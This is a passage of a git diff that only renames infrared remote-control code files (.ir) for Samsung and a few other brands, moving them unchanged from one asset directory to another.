TV/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/TV/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/TV/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/TV/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/TV/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/VCR/2,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/VCR/2,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/VCR/2,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/VCR/2,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/VCR/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/VCR/5,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/VCR/5,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/VCR/5,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir 